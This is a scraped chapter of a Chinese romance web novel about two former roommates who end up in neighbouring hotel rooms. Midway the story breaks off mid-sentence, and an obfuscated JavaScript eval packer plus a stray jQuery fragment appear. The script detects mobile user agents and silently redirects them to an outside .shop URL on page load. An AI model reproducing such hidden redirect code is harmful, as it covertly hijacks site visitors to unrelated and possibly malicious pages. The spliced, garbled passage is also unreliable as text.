文趣网 > 都市小说 > [校园]下雨也是好天气 > 25. 夜寐
    凌晨三点。

    罕茗泽躺在大床上,翻来覆去地睡不着。

    滚起来又洗了个澡,还是睡不着。

    最后猛地坐起来,低声骂了一句,光着脚踩到地板上,走出酒柜拿出那瓶刚开封的金酒。

    酒灌下去大半瓶,脑子却越来越清楚。

    顾寻煦为什么会住来这里?临时出差?会住多久?

    怎么就住到了同一个酒店?怎么就住到了同一层?怎么就这么巧?

    他现在在隔壁,在干嘛?

    睡觉?

    罕茗泽脑子里浮现出他躺在床上睡觉的样子。

    一定是侧躺着,一只手枕在脸下,另一只手搭在被子外面,手指微微蜷着,呼吸很轻,眉心没有完全舒展,像是睡着了还在思虑。修长的睫毛难得安静地垂着,偶尔轻轻颤一下,像是扫过了罕茗泽的心脏。

    他越想越烦躁,越烦越清醒。

    转身又挑了一瓶威士忌和一瓶白朗姆,对着瓶口都吹了半瓶,才觉得胸口那团火压下去一点。

    十分钟以后……彻底倒在了床上。

    顾寻煦没有睡着,大马金刀地坐在长沙发上,旁边落地窗外是夜里海景,手指上夹着一根已经燃烧了一半的烟。

    须臾后,他将烟送到唇边吸了一口,喉结顺势滚动。

    他吸完这口,将烟从放在唇边叼住,任由青白的烟气袅袅上升,散开在他面前,凝脂白玉般的肌肤在薄雾中变得朦胧。

    前方的桌子上整整齐齐地放着三本书,从下到上依次是《费尔巴哈和德国古典哲学的终结》、《现代编译理论之Python、Stata、Java、SAS在首次公开募股IPO中的运用》以及《垂纶哲思》。

    他腾出右手,拿起最上面的一本书,拇指抵住书脊,放在膝间开始翻阅。纸声发出轻而脆的声音,在安静的夜里格外明显。

    夜越深,那副优越的五官越发美得魅惑锐利。

    浅绯的唇角勾起了一抹胜券在握的笑意,与白皙带红的眼角珠辉玉映,美艳之余更添了几分蓄谋已久的危险。

    罕茗泽一觉昏睡到了大中午,要不是江阔一个电话打过来,他只怕还没醒。

    “我就知道你小子不靠谱!这都下午两点了,立刻去吃饭洗澡刮胡子!你今天下午可是我的门面!”江阔在电话那头喊。

    “门面?什么门面?”

    江阔在那边沾沾自喜:“我已经通告全院——你将会来看我的比赛,到时候一定有很多女生会应邀前来。”

    “你昨天不是说不要我带女生去嘛。”罕茗泽长腿一迈,光着身子就走去卫生间解决人生大事。

    “靠你?那能靠谱吗?还是得靠我自己!”江阔说,“你麻溜点,捯饬干净再来!”

    罕茗泽非常嘴贱地说:“我弄那么帅,人家是看我,还是看你?”

    “你要是邋邋遢遢来,我还没下水,人家就走了!”江阔怒嚎,“我相信,总有一个女孩,是冲着你的皮囊来,然后看到我独一无二的灵魂。我们将相识在午后的游泳馆……”

    “梦见什么说什么。”

    “你、说、什、么?”

    罕茗泽站在马桶前,单手拿着手机,另一只手扭了扭有点落枕的脖颈,笑着说:“行了行了,知道了。我洗澡,刮胡子,保证不给你丢人。”

    “光说不练!你上次也说知道了,结果穿双拖鞋就来了!”

    罕茗泽自认为非常有理地说:“那都多少年前的事,而且那次是来不及嘛……”

    “所以我这次学聪明了,提前三个小时给你打电话,你要是再那没时间敷衍我,我就没你这个朋友!!”

    江阔说完就“啪”的一声挂了电话。

    罕茗泽看着黑掉的屏幕,摇了摇头,把手机搁在洗手台上,拧开了水龙头。水声哗哗地响起来,他对着镜子看了一眼自己——鸡窝头、胡茬、眼角还泛着宿醉后血丝。

    但还是一如既往地很帅嘛!!!

    他满意地啧了一声,掬了捧水泼在脸上。

    罕茗泽嘴巴里叼着牙刷,顺手点了一份超超超豪华Plus版海鲜沙茶面,加料单被他点了个遍。

    住在这的好处之一就是,无论几点,都有点餐送餐服务。等他一个澡冲完,送餐的机器人刚好到了,门口的显示器发出“您点的餐已送达”的提示音。

    他一手抓着浴巾,在腰间打了个结,头发还在滴水,水珠顺着锁骨往下淌,另一只手刚拉开房门,机器人举着餐盒、憨态可掬地站在门口。他伸手去取,余光瞥见对面的门口也站着一个同样送餐机器人。

    然后,在罕茗泽脑子还没运转过来时,对面的门——也开了。

    顾寻煦站在隔壁门口,一手握着门把,一手拿着手机,目光从他湿漉漉的头发滑到他裸露的肩膀,再落到腰间那条摇摇欲坠的浴巾上,停了一秒,眼神不自觉地微眯起来,眸光晦暗不明。

    “把招标的文件送过来。”顾寻煦对电话那边的徐助理说,语气之自然,神态之平稳,像是没看到对面站着的人,面无表情地拿起餐盒,关门。

    罕茗泽的动作僵在了原地,然后怔怔地叹了口气:七年前,看见了是会脸红的呀。

    难不成是他身材变差了?

    罕茗泽提溜着餐盒,狐疑地往回走,路过浴室时还照了一下镜子。

    没有啊。

    .

    “顾总?顾总?”徐助理那边迟迟得不到回应,奇怪地连叫了两声。

    “嗯。”顾寻煦的思绪回拢,眸色却依旧漆黑幽邃,只是眼底染上了一丝不易察觉的恼怒。

    罕茗泽挑了个综艺下饭,吃之前瞟了一眼自己面前的海碗。里面铺满了海蛏、鱿鱼、鲍鱼、螃蟹、龙虾肉……

    又想起刚刚顾寻煦面前的餐,只有一份牛排和几只西蓝花,吃的饱吗?

    然后他脑子里又浮现出顾寻煦的身材,西装革履的身形看似清劲挺拔,其实衣服底下全是肌肉,甚至可以毫不费力地把自己背起来。

    停!!!!!

    一天到晚胡思乱想什么。

    可是,他们这样不会太奇怪了吗?

    曾经的舍友,现在住在对门却不讲话。

    天知道他有多想和顾寻煦说话。

    他们之间真的已经到了这个地步吗?

    ……

    是的。

    罕茗泽的心里传来一个答案。

    他悻悻地垂下脑袋,像个泄气的热气球。他越想越沮丧,越想越不甘心,越想越不想要脸,最后,他抬起脸,愤愤然喊道:“偏不!”

    门口如期响起提示音。

    顾寻煦拿下眼镜,从办公桌前起身,走到门口打开门

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17881116|212463||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    罕茗泽站在门口,右手揣在黑色五分裤的裤兜里,上身穿了一件非常惹眼的丁香紫色的短袖T恤。

    顾寻煦双手交叉抱在胸前,左臂在上,右臂在下,食指搭在左臂的臂弯内侧,指腹落到了黑色衬衫下的纹身处。

    罕茗泽看的心猿意马,舌尖不自觉掠过上唇,憋了半天憋了一句:“早上好。”

    顾寻煦没搭话,换了个更舒服的姿势。双手交叉放在胸前,身体靠在门框边,一条腿伸直,一条腿微曲。极窄的腰身藏在衬衫里,从侧面看薄而有力,裤管顺着大腿的肌肉线条垂下来,在膝盖处微微绷紧,又顺着小腿滑下去,落到脚踝前结束,露出一小段白皙的肌肤。

    罕茗泽觉得他比三年前更诱人。

    或者说,他比三年前更知道怎么展示自己的魅力。

    真是危险。

    罕茗泽摸了摸下巴,其实并没有想好接下来要说什么,可人都在这了,总不能走吧。

    于是,罕少爷用拇指再蹭一下鼻尖,说了一句:“你之前的……衣服收到了吗?”

    顾寻煦狭长而冷情的眼睛瞟了他一眼,里面三分莫名其妙,三分无话可说,罕茗泽却被勾得心里莫名有些心痒。

    “嗯。”顾寻煦应了一声,他的声线在嘶哑的时候带着一种欲望克制下的魅惑。

    罕茗泽上前半步,头凑近他耳边,手瞬时攀爬上他的小臂,按在那朵心心恋恋的流云尾部:“这么不想和我说话?”

    顾寻煦敛眼看向侧方,露出白皙如脂的脖颈。罕茗泽顺势看过去,只见流畅的线条一直延伸到衣物之下。

    “不想。”顾寻煦一把抽回手臂,整理了一下衣袖,冷着声音补充了一句,“不过衣服确实洗的不错,挺干净。”

    “当然,X市最好的干洗店、最好的洗衣师。”罕茗泽开始信口胡诌,“收价不菲。”

    “这钱花的挺值。”顾寻煦微微点头,似乎并不在意。

    罕茗泽接不上话,在绝望中又觉得十分不甘心,像是想吃甜的孩子怎么舍得糖从自己手中溜走。

    他抬头,带着会被拒绝也要问的痞气和勇气:“下午有事吗?”

    顾寻煦出口就是拒绝,所以罕茗泽抢先说:“江阔游泳比赛,一起去看看?”

    顾寻煦再出口也还是拒绝:“不去。”

    “去吗?”

    “不去。”

    “去吗?”

    “不去。”

    “去吗?”

    “不去。”

    “去吗?”

    “不去。”

    ……

    罕茗泽摸了摸鼻尖,觉得这人的耐心好像比以前好了一点。

    顾寻煦太了解他固执的脾气,他认定的事,就是不撞南墙不回头,撞了也照样不回头。

    他恨死罕茗泽这德行了。

    “去吗?”罕茗泽上前一步,毫不礼貌地踏入他的边界,“去吗去吗去吗?”

    “去。”顾寻煦耐心还是被耗尽。

    “我两点半在电梯门口等你。”罕茗泽目的达成,心满意足地后退一步,“不打扰了。”

    罕茗泽背对他摆了摆手,回了房。

    顾寻煦站在原地,手指重新按上臂弯,目光依旧落在罕茗泽刚刚站定的地方,然后……轻笑出声,像是守株待兔且如愿得逞的狐狸。